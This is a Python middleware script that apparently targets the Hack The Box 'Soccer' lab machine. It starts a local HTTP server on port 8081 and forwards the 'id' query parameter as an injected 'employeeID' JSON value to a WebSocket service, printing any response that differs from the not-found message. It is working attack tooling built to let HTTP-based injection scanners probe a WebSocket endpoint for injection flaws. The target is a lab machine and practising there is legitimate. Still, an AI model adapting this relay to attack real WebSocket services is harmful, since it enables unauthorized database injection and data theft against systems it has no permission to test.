import logging
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091"
logging.basicConfig(
    level=logging.DEBUG,
    format='%(asctime)s %(name)s %(levelname)-8s  %(message)s',
    datefmt='(%H:%M:%S)')

# disable all loggers from different files
logging.getLogger('asyncio').setLevel(logging.ERROR)
logging.getLogger('asyncio.coroutines').setLevel(logging.ERROR)
logging.getLogger('websockets.server').setLevel(logging.ERROR)
logging.getLogger('websockets.protocol').setLevel(logging.ERROR)
ws = create_connection(ws_server)
def send_ws(payload):
    # If the server returns a response on connect, use below line
    # resp = ws.recv() # If server returns something like a token on connect you can find and extract from here

    # For our case, format the payload in JSON
    message = unquote(payload).replace('"', '\'')  # replacing " with ' to avoid breaking JSON structure
    data = '{"employeeID":"`%s`"}' % message

    ws.send(data)
    resp = ws.recv()
    if resp != "Ticket Doesn't Exist":
        print(resp)
        print(data)

    if resp:
        return resp
    else:
        return ''


def middleware_server(host_port, content_type="text/plain"):
    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)
            try:
                payload = urlparse(self.path).query.split('=', 1)[1]
            except IndexError:
                payload = False

            if payload:
                content = send_ws(payload)
            else:
                content = 'No parameters specified!'

            self.send_header("Content-type", content_type)
            self.end_headers()
            self.wfile.write(content.encode())
            return

    class _TCPServer(TCPServer):
        allow_reuse_address = True

    httpd = _TCPServer(host_port, CustomHandler)
    httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
    middleware_server(('0.0.0.0', 8081))
except KeyboardInterrupt:
    pass